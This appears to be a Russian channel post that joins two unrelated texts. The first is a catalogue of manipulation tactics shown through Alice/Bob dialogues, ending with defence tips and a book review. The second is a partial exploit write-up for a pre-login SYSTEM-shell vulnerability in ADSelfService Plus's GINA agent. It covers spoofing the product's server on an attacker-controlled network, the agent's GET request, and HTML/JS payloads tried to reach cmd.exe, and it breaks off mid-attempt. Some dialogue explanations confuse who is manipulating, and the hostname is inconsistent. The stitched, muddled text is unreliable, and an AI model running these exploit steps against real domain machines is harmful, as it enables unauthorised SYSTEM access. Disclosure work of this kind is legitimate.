Фактор частности, или от деталей к ошибке, представляет собой манипуляцию, при которой манипулятор направляет внимание манипулируемого только на определенные детали или аспекты ситуации, исключая из рассмотрения более широкий контекст. Это делается для того, чтобы заставить манипулируемого делать неверные или искаженные выводы, исходя только из узкой информации, предоставленной манипулятором.

Пример диалога между Алисой и Бобом, где Боб использует фактор частности:

• Алиса: Боб, я сегодня опоздала на работу из-за того, что мне пришлось отвезти детей в школу и садик. Шеф был очень раздражен, но я объяснила, что это была непредвиденная ситуация.
• Боб: Ты знаешь, Алиса, это уже не первый раз, когда ты опаздываешь на работу из-за детей. Шеф начинает сомневаться в твоей профессиональной ответственности. Может быть, стоит обдумать вопрос с детьми и найти более надежное решение для утреннего времени?
• Алиса: Но, Боб, я действительно стараюсь быть ответственной и всегда выполняю свои обязанности на работе. Это была лишь одна непредвиденная ситуация, и такое бывает со всеми.

В данном примере, Боб выбирает акцентировать внимание Алисы только на нескольких случаях опоздания из-за детей, и создает впечатление, что это постоянная и повторяющаяся проблема. Таким образом, он пытается сделать вывод, что Алиса не является ответственной сотрудницей и что ей следует что-то менять. Однако Алиса отмечает, что это всего лишь один случай и что она всегда выполняет свои обязанности ответственно.

В данном примере манипулятор (Боб) умело использует фактор частности, чтобы скрыть более широкую картину искажения реальной ситуации, чтобы добиться своих целей или воздействовать на поведение манипулируемого (Алисы). Это создает искаженное восприятие и может привести к неверным решениям или реакциям со стороны манипулируемого.

Ирония, или манипуляции с усмешкой, это такой тип манипуляции, при котором манипулятор использует ироничный тон и усмешки для создания ощущения сарказма и подчеркивания неправильности или смешности высказываний манипулируемого. Этот подход может привести к тому, что манипулируемый начинает сомневаться в своих словах и чувствует себя некомпетентным или глупым, что открывает дверь для манипулятора, чтобы доминировать в ситуации и достичь своих целей.

Пример диалога между Алисой и Бобом, где Боб использует иронию:

• Алиса: Боб, я хотела бы поделиться своими идеями по улучшению проекта. Я думаю, что мы можем улучшить нашу стратегию продаж, привлечь новых клиентов и увеличить прибыль.
• Боб: (с усмешкой) О, конечно, Алиса, твои идеи всегда такие оригинальные и уникальные. Не знаю, как мы раньше обходились без твоих блестящих идей.
• Алиса: (смущенно) Ну, я просто думаю, что мы можем попробовать несколько новых подходов и...
• Боб: (прерывая) Конечно, конечно, мы все ждем, чтобы услышать еще больше твоих умных идей. Уверен, что они точно изменят нашу жизнь.

В данном примере Боб использует иронию и усмешки, чтобы подчеркнуть, что он считает идеи Алисы несерьезными и малоценными. Это создает ощущение сомнения и неловкости у Алисы, и она начинает сомневаться в своих идеях, что делает ее более подверженной влиянию и манипуляциям со стороны Боба.

Манипулятор (Боб) использовал иронию, чтобы снизить уверенность и авторитет Алисы в ее собственных идеях и предложениях. Это создает неравный баланс власти в диалоге и усиливает контроль Боба над ситуацией, что делает его более влиятельным и способным достичь своих целей.

Перебивание, или уход мысли, это тип манипуляции, при котором манипулятор постоянно перебивает собеседника и отводит тему разговора в нужное ему направление. Это позволяет манипулятору контролировать диалог и влиять на мысли и реакции собеседника, оставляя мало места для выражения его собственных идей или точек зрения.

Пример диалога между Алисой и Бобом:

• Алиса: Я думаю, что нам следует обновить наш сайт и улучшить его дизайн, чтобы привлечь больше клиентов.
• Боб: Да, да, но перед этим нужно обновить наш логотип, я думаю, это наш приоритет.
• Алиса: Но я считаю, что лучше сначала поработать над сайтом, потому что...
• Боб: (перебивая) Да, конечно, сайт важен, но логотип - это лицо нашей компании, и он должен быть безупречным.
• Алиса: (смущенно) Но если клиенты приходят на наш сайт и видят, что он устарел и не привлекает внимание...
• Боб: (перебивая) Мы можем обсудить сайт позже, но сейчас давайте сконцентрируемся на логотипе.

В этом примере Боб постоянно перебивает Алису и направляет разговор к своей идее обновления логотипа. Это создает впечатление, что его идея важнее, и Алиса начинает чувствовать, что ее мнение и предложения не учитываются. Боб контролирует тему беседы, переключая ее на то, что ему выгодно, и оставляя мало времени и пространства для выражения точки зрения Алисы. Таким образом, манипулятор добивается своего путем ухода мысли собеседника и подчинения диалога своим целям.

Провоцирование мнимости, или надуманность обвинений, это тип манипуляции, при котором манипулятор предоставляет манипулируемому некорректные или искаженные сведения, способные вызвать у него гнев или раздражение. Затем манипулятор использует это возбужденное состояние для внушения своей воли и навязывания своих идей.

Пример диалога между Алисой и Бобом:

• Алиса: Боб, я заметила, что недавно твоя производительность на работе снизилась. Возможно, тебе следует более тщательно выполнять свои обязанности.
• Боб: Что? Я всегда выполняю свою работу отлично! Не знаю, о чем ты говоришь.
• Алиса: Я только хотела помочь, можем обсудить, в чем может быть проблема?
• Боб: (раздраженно) Мне не нужна твоя помощь, я отлично справляюсь со своей работой!
• Алиса: Но, Боб, я ничего не подразумевала обвинением, просто хотела помочь...
• Боб: (прерывает) Все, хватит об этом! Ты всегда находишь, чем меня обвинить!

В данном примере, Алиса предоставляет Бобу информацию о его производительности на работе. Боб, ощущая неприятные эмоции из-за обвинений, которые он воспринимает в словах Алисы, становится защитническим и готов отвергнуть ее предложение о помощи или рассмотреть возможные проблемы с работой. Алиса, на самом деле, не намеревалась обвинять Боба, а просто хотела помочь. Однако манипулятор (Алиса) успешно провоцирует мнимость обвинений у Боба, что делает его более уязвимым для манипуляций и контроля.

Заманивание в ловушку, или мнимое признание выгоды оппонента - это тип манипуляции, при котором манипулятор убеждает манипулируемого в том, что оппонент находится в более выгодном положении или обладает преимуществами, в результате чего манипулируемый становится более склонным к сотрудничеству или оправданию своих действий перед манипулятором.

Пример диалога между Алисой и Бобом:

• Алиса: (улыбается) Боб, я слышала, что у тебя повышение зарплаты. Ты удачно себя продал, да?
• Боб: (удивленно) О, да, немного повысили оклад. Я просто уделял больше внимания своим обязанностям.
• Алиса: Ну, это действительно здорово, что ты такой умелый в продвижении себя. Я бы никогда не смогла так же хорошо преподнести себя.
• Боб: (неуверенно) Ну, это не так сложно, нужно всего лишь знать, как сделать это правильно.
• Алиса: Уверена, что ты действительно знаешь толк в этом. Ты ведь всегда был таким умным.
• Боб: (поддавшись лести) Спасибо, Алиса. Но я просто стараюсь быть профессионалом.
• Алиса: И это замечательно. Видно, что тебе всегда удается получить, что хочешь.

В этом примере, Алиса использует технику заманивания в ловушку, делая комплименты Бобу и восхищаясь его достижениями. Ее слова подразумевают, что Боб находится в более выгодной позиции и лучше справляется с продвижением своих интересов, чем Алиса. Боб, поддающись лести и оправдывая свое поведение, становится более склонным сотрудничать с Алисой или сделать то, что она пожелает, так как он чувствует, что он находится на выгодной позиции и умнее. Однако на самом деле, Алиса манипулирует его, создавая иллюзию превосходства и заставляя его быть расположенным к сотрудничеству с ней.

Обман на ладони, или имитация предвзятости - это тип манипуляции, при котором манипулятор создает условия, чтобы реципиент не подозревал его в предвзятости или скрытых намерениях. Манипулятор делает вид, что его действия и высказывания чисты и искренни, тем самым заставляя реципиента доверять ему и не критично относиться к его словам и поступкам.

Пример диалога между Алисой и Бобом:

• Алиса: (улыбается) Привет, Боб. Как твои дела?
• Боб: (настороженно) Привет, Алиса. Все хорошо, спасибо. А у тебя?
• Алиса: (играет заинтересованностью) Да, все неплохо. Кстати, я заметила, что у нас часто разные точки зрения на многие вопросы, и ты, кажется, не соглашаешься со мной во многом.
• Боб: (смущенно) Ну, возможно, у нас разные мнения, это нормально.
• Алиса: (улыбается, словно уважает мнение Боба) Конечно, разные мнения делают нас интересными. Но я всегда ценю и уважаю твою точку зрения.
• Боб: (смягчается) Спасибо, Алиса. Это приятно слышать.
• Алиса: (доверительно) Знаешь, я всегда стараюсь быть объективной и не позволяю своим личным чувствам повлиять на принятие решений. Я всегда учитываю и мнение других людей.
• Боб: (поверил Алисе) Я вижу, что ты действительно стараешься быть справедливой. Я ценю твою открытость.

В этом примере, Алиса использует технику обмана на ладони, заставляя Боба думать, что она открыта для разных точек зрения и уважает его мнение, хотя на самом деле она может иметь свои собственные скрытые намерения или предвзятость. Боб, поверив в искренность Алисы, становится менее критичным к ее словам и действиям, давая возможность манипуляции ему за счет его собственных бессознательных установок не подозревать ее в обмане.

Намеренное заблуждение, или специфическая терминология - это тип манипуляции, при котором манипулятор использует специфические термины или сложные термины, которые не понятны оппоненту. Манипулятор осознанно создает такую обстановку, чтобы сбить с толку оппонента и заставить его чувствовать себя неграмотным или неуверенным, тем самым обеспечивая себе преимущество и контроль в беседе или ситуации.

Пример диалога между Алисой и Бобом:

• Алиса: (улыбается) Привет, Боб. Недавно я прочитала интересную статью об антропоморфизме и его влиянии на социокультурные факторы. Она была описана очень комплексными терминами, но если интересно, могу поделиться основными идеями.
• Боб: (не уверенно) Привет, Алиса. Антропо... Что это такое?
• Алиса: (продолжает улыбаться) О, это интересная концепция, связанная с применением человеческих черт и характеристик к объектам или животным. Она может влиять на культуру и общество. Но это сложно объяснить в двух словах.
• Боб: (чувствует себя неграмотным) Понимаю. Ну, может быть, ты просто кратко расскажешь, как это связано с нашим проектом?
• Алиса: (уверенно) Конечно, разумеется. Принцип антропоморфизма может помочь нам создать интерфейс, который будет более привлекателен для пользователей. Это может повысить эффективность нашего продукта и улучшить взаимодействие с клиентами.

В этом примере, Алиса использует специфическую терминологию, такую как "антропоморфизм" и "социокультурные факторы", чтобы намеренно сбить с толку Боба и создать впечатление, что она обладает специальными знаниями или опытом. Боб чувствует себя неграмотным и неуверенным, но не хочет показаться неосведомленным, поэтому он просит Алису кратко рассказать о том, как это связано с их проектом. Алиса воспользуется своим преимуществом и предложит свою интерпретацию, которая может быть искаженной или приведенной в искаженном виде, чтобы получить контроль над ситуацией.

Навязывание ложной глупости, или через унижение к победе - это тип манипуляции, при котором манипулятор стремится унизить оппонента, намекая на его некомпетентность, незрелость или глупость. Он делает это, чтобы вызвать чувство неуверенности и недостаточности у манипулируемого, что в свою очередь снижает его способность к критическому мышлению и обоснованным решениям. Таким образом, манипулятор достигает своей цели, контролируя ситуацию и получая желаемый результат.

Пример диалога между Алисой и Бобом:

• Алиса: (с усмешкой) О, Боб, ты опять не разобрался в этом простом математическом расчете. Видимо, это слишком сложно для тебя.
• Боб: (чувствуя себя униженным) Ну, я... Я пытался понять, но что-то запутался. Можешь объяснить еще раз?
• Алиса: (продолжает унижать) Конечно, конечно. Это же не так уж сложно, но ладно, я повторю для тебя еще раз. Ты всегда такой медлительный в понимании элементарных вещей?
• Боб: (чувствуя себя еще более неуверенным) Ну... Я просто думал, что...

В этом примере, Алиса намеренно унижает Боба, намекая на его непонимание элементарных математических расчетов и его медлительность в понимании. Боб чувствует себя униженным и недостаточно умным, что делает его более уязвимым для манипуляции. Алиса занижает его самооценку, чтобы получить контроль над ситуацией и легче добиться выполнения своей воли.

Повторяемость фраз, или навязывание мыслей - это тип манипуляции, при котором манипулятор использует повторение определенных фраз или сообщений, чтобы приучить реципиента к определенной информации или идеи. Путем многократного повторения, манипулятор стремится формировать положительные ассоциации с этой информацией, делая ее более родной и знакомой для манипулируемого. Этот прием может быть особенно эффективным, если манипулируемый находится в уязвимом или усталом состоянии, когда его критическое мышление ослаблено.

Пример диалога между Алисой и Бобом:

• Алиса: (повторяет фразу) "Ты знаешь, что всегда можешь положиться на меня. Всегда можешь положиться на меня."
• Боб: (встревожен) Что-то случилось? Почему ты так часто повторяешь это?
• Алиса: (улыбается) Ничего особенного, просто хочу, чтобы ты понял, что я всегда здесь, чтобы помочь тебе.
• Боб: (сомневается) Но зачем так часто повторять? Я же знаю, что ты поддержишь меня, если что.
• Алиса: (продолжает повторять) "Ты знаешь, что всегда можешь положиться на меня..."

В этом примере, Алиса использует повторение фразы "Ты знаешь, что всегда можешь положиться на меня" для убеждения Боба, что она всегда будет его поддерживать и помогать. Повторение делает эту информацию более весомой и легко усваиваемой для Боба. Он начинает чувствовать, что Алиса действительно всегда готова помочь, хотя может быть это и не всегда так. Это создает у Боба положительные ассоциации с Алисой и уменьшает его критичность по отношению к ее поведению.

Ошибочное домысливание, или недоговоренность поневоле - это тип манипуляции, при котором манипулятор специально оставляет информацию недоговоренной или неясной, чтобы вызвать у реципиента ошибочное домысливание или неправильное понимание ситуации. Манипулируемый заполняет пробелы в информации своими догадками, и манипулятор может использовать эти недопонимания, чтобы подтолкнуть реципиента к желаемым действиям или решениям. Когда манипулируемый осознает свои ошибки или недопонимания, он может чувствовать себя виноватым или неграмотным, что делает его более уязвимым для манипуляций.

Пример диалога между Алисой и Бобом:

• Алиса: (звонит Бобу) Привет, Боб! Ты сможешь сегодня помочь мне с компьютером?
• Боб: Привет, Алиса! Конечно, я всегда рад помочь. Но что именно случилось с компьютером?
• Алиса: (умышленно умалчивает о деталях) Просто у меня проблемы с запуском программы, и я не могу разобраться.
• Боб: Окей, я приеду и помогу разобраться.
• (Боб приходит к Алисе и обнаруживает, что проблема была сильно преувеличена и легко решаема)
• Боб: Это было просто небольшое недопонимание. Все исправлено.
• Алиса: (улыбается) Да, наверное, я просто переживала и думала, что проблема серьезнее.

В данном примере, Алиса умышленно оставляет информацию недоговоренной, не сообщая Бобу о том, что проблема с компьютером была мелкой и легко решаемой. Боб предполагает, что ситуация серьезнее, чем на самом деле, и соглашается помочь. Когда он приходит и узнает, что проблема не такая страшная, он осознает свою ошибку в интерпретации ситуации. Это может вызвать у него чувство вины за то, что он не так понял ситуацию и не смог помочь Алисе так, как она могла бы ожидать. Таким образом, Алиса успешно использовала ошибочное домысливание Боба, чтобы добиться его согласия помочь ей.

Мнимая невнимательность - это тип манипуляции, при котором манипулятор делает вид, что не обращает внимания на оппонента или его просьбы, чтобы создать впечатление, что он невнимателен или недостаточно заинтересован в ситуации. Затем манипулятор может использовать эту мнимую невнимательность в свою пользу, чтобы добиться желаемого результата и отразить ответственность за свои действия на оппонента.

Пример диалога между Алисой и Бобом:

• Алиса: (обращается к Бобу) Боб, я хотела бы обсудить наше партнерство и внести некоторые предложения по улучшению сотрудничества.
• Боб: (прикидывается невнимательным) Извини, Алиса, я сейчас занят. Можем поговорить об этом позже?
• Алиса: Но это довольно важно, и у нас есть возможность решить некоторые проблемы, если начнем обсуждение сейчас.
• Боб: (опять проигнорировал) Я думаю, у нас будет время поговорить об этом завтра, когда у меня будет больше свободы.
• (На следующий день)
• Алиса: Боб, вчера я пыталась поговорить с тобой о нашем партнерстве, но ты меня игнорировал.
• Боб: (прикидывается удивленным) Неужели? Извини, наверное, я был слишком занят. Но давай обсудим это сейчас.
• (Алиса высказывает свои предложения и проблемы, но Боб, будучи предвзят к своим интересам, не проявляет интереса к ее предложениям)
• Боб: (в конце беседы) Я подумаю об этом и, возможно, что-то изменится в будущем.
• Алиса: (чувствует разочарование) Хорошо, спасибо за то, что все же выслушал меня.

В данном примере, Боб манипулирует ситуацией, делая вид, что он занят и не обращает внимания на Алису, когда та хочет обсудить важные вопросы партнерства. Затем он использует свою мнимую невнимательность в качестве оправдания своего отсутствия интереса к предложениям Алисы. Это позволяет ему отразить ответственность за отсутствие диалога на нее, хотя на самом деле он просто не заинтересован в ее предложениях. Это делает Алису уязвимой для манипуляций и оставляет ее чувствующей себя непонятой и недооцененной.

Скажи «да», или путь к согласию - это тип манипуляции, при котором манипулятор стремится получить согласие оппонента на свои предложения, идеи или действия, создавая ситуацию, в которой оппонент постоянно соглашается с его словами или предложениями. Манипулятор умело направляет диалог таким образом, чтобы оппонент постепенно поддавался давлению и принимал решения, которые могут быть не в его интересах.

Пример диалога между Алисой и Бобом:

• Алиса: Боб, у меня есть замечательная идея по развитию нашего проекта. Я думаю, мы можем сделать ряд изменений, которые помогут увеличить нашу прибыль и привлечь больше клиентов.
• Боб: Да, конечно, расскажи свою идею.
• Алиса: Прекрасно! Во-первых, мы можем улучшить наш сайт и сделать его более привлекательным для пользователей. Во-вторых, стоит провести акции и скидки для привлечения новых клиентов. И, наконец, мы можем расширить нашу рекламную кампанию в социальных сетях.
• Боб: Да, это звучит неплохо.
• Алиса: Я также думаю, что нам следует сосредоточиться на разработке нового продукта, который будет соответствовать текущим трендам рынка.
• Боб: Да, действительно, это может помочь нам привлечь больше клиентов.
• Алиса: Вот и отлично! Значит, ты согласен с моими предложениями?
• Боб: Да, я согласен.
• Алиса: Отлично, я рада, что мы нашли общий язык. Мы начнем реализовывать эти идеи как можно скорее.

В данном примере, Боб постоянно соглашается с идеями Алисы, и она использует это согласие, чтобы проталкивать свои предложения и планы. Манипулятор направляет диалог таким образом, чтобы Боб почувствовал, что его согласие важно, и он начинает принимать решения, которые могут быть манипулятивными и не всегда соответствовать его интересам. Это делает его уязвимым перед влиянием манипулятора и может привести к принятию нежелательных решений.

Неожиданное цитирование, или слова оппонента в качестве доказательства - это тип манипуляции, при котором манипулятор цитирует или перефразирует слова оппонента таким образом, чтобы использовать их как доказательство или аргумент в свою пользу. Это делается с целью обескураживания оппонента и создания иллюзии, что манипулятор прав и основывает свои действия на словах самого оппонента.

Пример диалога между Алисой и Бобом:

• Алиса: Боб, я заметила, что у тебя последнее время много свободного времени. Может быть, ты можешь помочь мне с проектом, который я разрабатываю?
• Боб: Конечно, я всегда рад помочь. Но у меня тоже есть свои дела, которыми нужно заниматься.
• Алиса: Да, я понимаю, что у тебя дел хватает. Но, помнишь, пару недель назад ты сказал, что всегда готов помочь мне в случае необходимости. Вот тогда ты был таким же занятым, но нашел время и помог мне.
• Боб: Да, я помню, но в тот раз у меня было меньше дел.
• Алиса: Ты сам сказал, что всегда рад помочь, вне зависимости от количества дел. Вот твои слова: "Я всегда готов помочь тебе."
• Боб: Хорошо, я попробую найти время и помочь тебе.
• Алиса: Спасибо, я знала, что ты не откажешь. Ты такой замечательный друг!

В данном примере, Алиса цитирует слова Боба, сделанные ранее, и использует их для убеждения его помочь ей с проектом. Манипулятор (Алиса) создает образ доброжелательного и отзывчивого друга, который всегда готов помочь, и использует эти слова как доказательство его обязательств и согласия помочь. Это заставляет Боба чувствовать себя обязанным помочь, даже если у него есть другие дела. Алиса таким образом добивается своей цели, применяя неожиданное цитирование для убеждения оппонента в своей правоте.

Эффект наблюдения, или поиск общих черт - это тип манипуляции, при котором манипулятор ищет или создает впечатление общих черт или схожести между собой и манипулируемым. Затем манипулятор использует эти общие черты, чтобы примирить или убедить манипулируемого и протолкнуть свою идею или предложение.

Пример диалога между Алисой и Бобом:

• Алиса: Боб, я заметила, что у тебя тоже есть интерес к искусству. Я недавно узнала, что ты любишь рисовать. Как я рада, что у нас так много общего интересов!
• Боб: Да, я правда увлекаюсь рисованием, но это просто хобби. Я не особо хорош в этом.
• Алиса: Но это так здорово, что у нас есть общий интерес! Ты знаешь, я тоже раньше увлекалась рисованием, и, хотя я давно не занимаюсь этим, я всегда нахожу вдохновение, когда вижу, как кто-то рисует. Может быть, мы можем вместе пойти на выставку искусства или посидеть в кафе и нарисовать что-нибудь?
• Боб: Ну, почему бы и нет? Мне было бы интересно посмотреть на твои работы.
• Алиса: Замечательно! Я знала, что у нас много общего. И вообще, я так рада, что у нас так хорошо клеится общение. Ты такой открытый и интересный собеседник.
• Боб: Спасибо, Алиса. Я тоже наслаждаюсь общением с тобой.

В данном примере Алиса использует эффект наблюдения, утверждая, что она заметила общий интерес к искусству у Боба и себя. Она акцентирует внимание на этой схожести и пытается примирить Боба с ней, создавая образ "схожести" между ними. Это позволяет ей легче внедрить свою идею о проведении времени вместе и убедить Боба пойти на выставку искусства или заняться рисованием вместе. Алиса добивается своей цели, подчеркивая и расширяя общие черты между ними, чтобы убедить Боба и привести его к желаемому результату.

Навязывание выбора, или изначально верное решение - это тип манипуляции, при котором манипулятор задает вопрос таким образом, что фактически ограничивает или искажает выбор оппонента, не оставляя ему других альтернатив, кроме того, которое соответствует желаемому результату манипулятора. Это делается так, чтобы убедить оппонента сделать то, что манипулятор хочет, давая ему ощущение, что это был его собственный выбор.

Пример диалога между Алисой и Бобом:

• Алиса: Боб, как ты предпочитаешь провести выходной - поиграть в теннис или сходить на концерт? Я просто думаю, что тебе понравится активный отдых на свежем воздухе.
• Боб: Ну, на самом деле я бы предпочел отдохнуть дома и посмотреть фильм. Я устал за эту неделю.
• Алиса: Но, Боб, давай попробуем сыграть в теннис. Это такой здоровый и веселый способ провести время! Ты же знаешь, что активность на улице придаст тебе энергии, и ты будешь рад, что согласился.
• Боб: Хорошо, может быть, и правда пойдем поиграем в теннис.

В этом примере, Алиса использует навязывание выбора. Она предоставляет Бобу всего два варианта - поиграть в теннис или сходить на концерт, не оставляя ему возможности сделать другой выбор, такой как остаться дома и отдохнуть. Хотя Боб изначально хотел отдохнуть дома, Алиса приводит аргументы, чтобы убедить его выбрать вариант с теннисом, создавая у него впечатление, что это его собственное решение. В результате Боб соглашается с ее предложением, чувствуя, что он сам сделал правильный выбор.

Неожиданное откровение, или внезапная честность - это тип манипуляции, при котором манипулятор использует стратегию внезапного раскрытия личной или секретной информации, представленной как доверительная и предназначенная только для определенного человека. Это может привести к возникновению у оппонента чувства особой важности и доверия к манипулятору, что впоследствии усиливает воздействие манипуляции и позволяет манипулятору внедрить свою ложную информацию или убеждения.

Пример диалога между Алисой и Бобом:

• Алиса: Боб, я хочу с тобой поделиться чем-то важным. Ты для меня уже стал близким другом, и я знаю, что могу тебе доверять. Я расскажу тебе то, о чем никому еще не говорила.
• Боб: О, конечно, Алиса. Ты знаешь, что я всегда готов выслушать и поддержать тебя.
• Алиса: Вот дело в том, что я недавно узнала, что Стивен, наш общий знакомый, рассказывал о нас неправду. Он сказал, что ты говорил о тебе и мне весьма критически. Меня это очень задело, и я решила рассказать тебе об этом. Я не ожидала, что он может так говорить о нас, и мне трудно в это поверить.
• Боб: Что? Но это не правда, Алиса! Я никогда бы не сказал ничего такого о нас. Это вымысел Стивена, он просто хочет нас разъединить. Давай разберемся с этим.

В данном примере, Алиса использует стратегию неожиданного откровения, утверждая, что ей удалось узнать о критических замечаниях Стивена о Бобе и ей. Она представляет себя в роли доверчивого друга, который рассказывает личную информацию, чтобы усилить чувство доверия у Боба и заставить его поверить в ее слова. Боб ощущает, что Алиса действительно доверяет ему, и отрицает обвинения, которые якобы были сделаны Стивеном, таким образом попадая в ловушку манипуляции.

Внезапный контраргумент, или коварная ложь - это тип манипуляции, при котором манипулятор неожиданно для оппонента ссылается на предполагаемые слова или действия, которые, как он утверждает, были сделаны или сказаны оппонентом ранее. Манипулятор использует этот контраргумент, чтобы дезориентировать оппонента, заставить его почувствовать вину или ослабить его критический настрой, относясь к своим утверждениям с определенной долей правдоподобия.

Пример диалога между Алисой и Бобом:

• Алиса: Боб, помнишь, как мы недавно обсуждали наше новое проектное предложение? Ты говорил, что полностью поддерживаешь мою идею, и мы даже обсудили, как ее реализовать.
• Боб: Да, конечно, я помню. Я поддерживаю твою идею и действительно думаю, что она имеет потенциал.
• Алиса: Ну, тогда почему ты только что сказал нашим коллегам, что эта идея совсем не имеет перспектив и требует множества изменений? Я была уверена, что ты поддержишь меня.
• Боб: Что? Я никогда бы не сказал такое. Я действительно поддерживаю идею, которую мы обсуждали. Возможно, произошло недопонимание или уточни, пожалуйста, что именно я сказал.
• Алиса: Ну, возможно, я что-то перепутала. Но я была уверена, что слышала именно такие слова.

В данном примере, Алиса использует внезапный контраргумент, утверждая, что Боб сказал одно, но затем представляет его слова в негативном свете, оспаривая его поддержку идеи проекта. Это создает дезориентацию у Боба и заставляет его чувствовать себя обвиненным или недопонятым. Боб отрицает свои якобы произнесенные слова и пытается разъяснить недопонимание, но Алиса продолжает настаивать на своем замечании, что создает у Боба чувство вины и смятения.

Обвинение в теории, или мнимое отсутствие практики - это тип манипуляции, при котором манипулятор неожиданно контраргументирует слова оппонента, утверждая, что их идеи или предложения хороши только на бумаге или в теории, но на практике они не работают или не имеют реальной ценности. Манипулятор использует это обвинение, чтобы оспорить слова оппонента и подорвать его уверенность в собственных идеях или решениях.

Пример диалога между Алисой и Бобом:

• Алиса: Я думаю, что наша компания должна инвестировать в исследования и разработки новых продуктов. Это поможет нам оставаться конкурентоспособными на рынке и привлечь больше клиентов.
• Боб: Но это будет стоить нам очень дорого, и я сомневаюсь, что новые продукты принесут ожидаемую прибыль. Это выглядит хорошо только на бумаге, но на практике, возможно, не сработает.
• Алиса: Но у нас уже есть успешные примеры продуктов, которые были разработаны после серьезных исследований. Я уверена, что это может сработать и на этот раз.
• Боб: Ты всегда говоришь о наших предыдущих успехах, но смотришь ли ты на недавние неудачи? Нам нужно ориентироваться на текущую ситуацию, а не на теоретические предположения.
• Алиса: Я просто предлагаю искать новые возможности для роста, и инвестиции в исследования - это один из способов достичь этой цели.
• Боб: Но инвестирование в теорию не всегда приводит к практическим результатам. Я не хочу тратить деньги на нечто, что может оказаться неэффективным.

В данном примере, Боб использует обвинение в теории, указывая на то, что идеи Алисы могут выглядеть обещающе на бумаге или в теории, но он подчеркивает, что они не были подтверждены практическим опытом или недавними успехами. Это позволяет ему подорвать уверенность Алисы в ее предложении и убедить ее, что ее идеи являются мнимыми и не имеют реальной ценности для компании.

На сегодня всё. Я постарался обыграть при помощи всем известных персонажей каждую из популярных тактик.

Вывод

Мы рассмотрели различные аспекты манипуляции и их влияние на психику человека. Мы ознакомились с теорией психики Зигмунда Фрейда, которая включает сущности "Я", "Оно" и "Сверх-Я", а также цензуру психики. Эти элементы психики взаимодействуют друг с другом и формируют основу нашего поведения и принятия решений.

Манипуляторы используют знание о структуре психики для воздействия на индивидов и подчинения их воли. Они используют различные методы, такие как усиление конфликтов между сущностями психики, создание ложных убеждений и моральных стандартов, привлечение страхов и тревог, а также изоляция и контроль информации. Целью манипуляторов может быть введение человека в состояние невроза, что ослабляет его сознание и позволяет легче контролировать его поведение и мышление.

• Противодействие манипуляциям:
• Повышение осознанности: Важно развивать осознанность к своим мыслям, эмоциям и поведению. Чем больше мы осознаем свои внутренние процессы, тем меньше вероятность быть подверженным манипуляциям.
• Развитие критического мышления: Умение анализировать информацию, задавать вопросы и проверять факты помогает не допустить обмана и ложной информации.
• Укрепление самооценки и уверенности: Чем увереннее и устойчивее вы чувствуете себя, тем сложнее будет подвергнуться манипуляциям, которые направлены на подрыв вашей уверенности.
• Общение и обмен опытом: Важно общаться с другими людьми и обмениваться опытом, чтобы узнать об их подходах к противостоянию манипуляциям и научиться новым стратегиям.
• Отстаивание границ: Умение устанавливать границы и отстаивать свои интересы помогает избежать воздействия манипуляторов.

Отзыв о книге "Манипулирование личностью и массами" Сергея Зелинского:

Сергей Зелинский в предоставляет читателям глубокий анализ механизмов манипуляции, применяемых на уровне личности и общества. Зелинский аргументировано и доступно объясняет теоретические основы манипуляций, а также их практическое применение.

Книга предоставляет понимание, какие факторы способствуют успешному воздействию на психику людей и какие методы используют манипуляторы для достижения своих целей. Она помогает распознавать признаки манипуляций в повседневной жизни и работе, что позволяет быть более осознанным и защищенным.

Автор предлагает практические советы и стратегии, которые помогают укрепить психологический иммунитет и защититься от манипуляций. Книга помогает понять себя и других людей глубже, что содействует лучшему взаимодействию в обществе.

В целом, книга "Манипулирование личностью и массами" заслуживает рекомендации для широкого круга профессионалов в различных областях.

Подписывайся на AD_POHEQUE и ставь 👾

Подписывайся на AD_POHEQUE и ставь 👾

ADSelfService Plus устанавливает локальный агент (надстройка для Windows GINA) на управляемых компьютерах домена Windows, который можно использовать для сброса паролей пользователей Active Directory непосредственно с экрана входа.

GINA

Библиотека динамической компоновки (DLL) графической идентификации и проверки подлинности. GINA — это заменяемый компонент DLL, который загружается исполняемым файлом Winlogon . GINA реализует политику проверки подлинности интерактивной модели входа и, как ожидается, будет выполнять все идентификации и проверки подлинности взаимодействия с пользователем.

Данная уязвимость позволяет атакующему получить командную оболочку c привилегиям SYSTEM дедовским методом кликнув на
Browse -> C:\Windows\System32\cmd.exe на этапе предаутентификации. 😎

Похожая уязвимость была обнаружена Bhadresh Patel в 2020 году и исправлена в версии 6.0 сборка 6003.

Подтверждено, что данная уязвимость работает вплоть до версии ADSelfService Plus4.2.9, 2012 года выпуска, и вплоть до последней версии 6.3 Build 6301 на момент написания статьи (2023-06-23).

Экран входа Windows:

Если мы щелкнем на любой из опций в красных рамках выше, мы получим следующий экран, который позволяет сбросить пароль пользователя домена:

Очевидно, что это работает во встроенном окне браузера. Что произойдет, если мы отключим сеть и GINA не сможет достичь сервера ADSelfService Plus?

Что произойдет, если мы нажмем "Искать этот сайт в Bing"?

Можно вспомнить золотые техники дедов и попытаться проэкслуатировать простой вектор атаки: перейти в Bing, попытаться найти диалоговое окно для открытия файла и просто запустить cmd.exe от имени SYSTEM!

К сожалению, так просто не получится. Появляется всплывающее окно с надписью "External URL access is denied.", и окно закрывается. Ни одна из комбинаций клавиш Internet Explorer не работает, поэтому мы не можем открыть диалоговые окна, использовать сочетания клавиш + CTRL, нажимать клавиши F, "Просмотреть исходный код" и т. д.

Но заметьте, что нашей устройство пытается установить связь с сервером adselfservicepwn.com на порту 8888.
Подключим компьютер к другой сети, которую мы контролируем, вне обычной сети домена. Здесь есть много вариантов, мы можем подключить Ethernet-кабель или просто выбрать подконтрольную нам сеть Wi-Fi на экране входа. На сетевое подключение (по умолчанию) нет ограничений на экране предаутентификации входа Windows.

Подключившись к сети, которую мы контролируем, мы можем подменить сервер adselfpwnplus.com и снова вызвать экран сброса пароля.

Когда GINA пытается получить доступ к хосту adselfpwnplus.com, она отправляет следующий GET запрос:

GET /AgentStatusUpdate.cc?status=adssp_admin_gina_install_success&machineName=<MACHINE_NAME> &domainName=<DOMAIN_NAME>&version=5.9&defUser=ADSELFPWNPLUS\normaluser& HTTP/1.1

Давайте предоставим AgentStatusUpdate.cc на нашем поддельном сервере и отправим:

<html><body><b>HELLO GINA!

Работает!

Похоже, что что-то удалило наше диалоговое окно файла, осталась только строка hello. И это происходит практически с любой техникой, которую можно придумать:

<a href="C:\windows\" /a>Директорию Windows не открыть</a>
<script>document.write('<input/type=file>')</script>
<input type="file" id="myfile" name="myfile">
<a href="mailto:me@mail.com">Это не работает</a>
<a href="file:///c:\">тем более не работает</a>

